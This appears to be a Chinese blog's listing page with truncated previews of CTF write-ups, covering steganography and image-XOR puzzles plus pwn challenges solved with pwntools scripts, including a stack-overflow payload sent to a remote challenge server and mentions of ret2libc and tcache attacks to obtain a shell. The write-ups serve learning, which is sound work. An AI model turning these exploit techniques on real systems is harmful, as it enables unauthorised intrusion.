7.9k字18 分钟

# MISC # fumo_xor_cli(1.16) 啊啊啊,做这道题的时候就差一点,两张需要 xor 的图也导出来了,就是第一张那个需要叠加的图貌似排反了 ┭┮﹏┭┮ (做的时候就发现两张图长度都是一样的,难怪我说 xor 出来不太对劲。。。) # 第一张图 nc 连上之后,发现出来了一堆彩色字符 python PIL 转为图片,发现中间有两张图片部分有点奇怪 搜索了一下大概是 ANSI 转义字符,大致格式如下: \x1b[ 38 ; 2 ; 208 ; 243 ; 251 m9 38;2;r;g;b Set text colour to an RGB value (e.g. \x
7.8k字16 分钟

# Misc-red_vs_blue 简单来说就是 66 轮试错,同一次 nc 里面的答案是一样的,要么输入 r, 要么输入 b,错了就输入 y 重来,因为有时间限制,只能上脚本 from pwn import *# sh=process ("./buu--rip") local 端sh = remote('node4.buuoj.cn', 28699)s = []i=1tag=0q = sh.recvuntil(':')while True: if i=
774字2 分钟

# Misc # YUSA 的小秘密 附件下载 题目描述:LSB,但又不是 LSB,众所周知不止 RGB... 直接用 stegsolve 打开有两个通道能直接看到 flag,可是噪点实在太多了. 联想到题目描述,开始查找资料. 可以参考 Bytectf2020 的 Misc: Hardcore Watermark 01 这道题 图片中每个像素可以通过三个通道来表示,常见的是 R (red) G (green) B (blue) 模式。而本题用到的通道是 YCrCb。 通过 cv2.cvtColor(img, cv2.COLOR_BGR2YCrCb) 对 img 图片数据进行色彩
3.5k字8 分钟

# pwn1 都说了是测试 nc 了,连上就直接可以拿到 flag # pwn2 给我们个 password,你再传回去就完了 关键是要仔细读题,看仔细到底哪些是 password from pwn import *r=remote("219.219.61.234",6666 )print(r.recvuntil(b'*\n').decode())p=r.recvuntil(b'\n')[:-1]print(bytes(p))r.sendline(bytes(p))r.interactive()# pwn3 ret2lib
5.5k字13 分钟

# spn(11.26) 附件下载 复现这道题的时候,我一开始用的是 0RAYS 的解法,大致是找 spn 的解密脚本,计算给出的 shell 的真实地址,然后用 tcache 打 shell,最后选 5 进 backdoor. 虽说是读懂了 0RAYS 的脚本,而且也算是进一步学习了一下 tcache 的机制, 然而我一番搜索,着实找不到好用的 spn 解密脚本,就只好另寻出路. 0RAY 的脚本放上: #!/usr/bin/python# -*- coding:utf-8 -*-from pwn import *import syscontext.log_l
7.3k字17 分钟

# PWN # pwn1 nc 连上 直接 cat flag # pwn2 经典栈溢出 from pwn import *#r=process("./pwn2")r=remote('1.15.81.218',10001)p=b'a' * 72 + p64(0x400596)r.sendline(p)r.interactive()直接传就行了... # pwn3 开了 NX 保护,没开金丝雀 有个 echo flag,感觉像是那么回事,实际上没用, 所以还是得通过 system 函数来搞 这里 s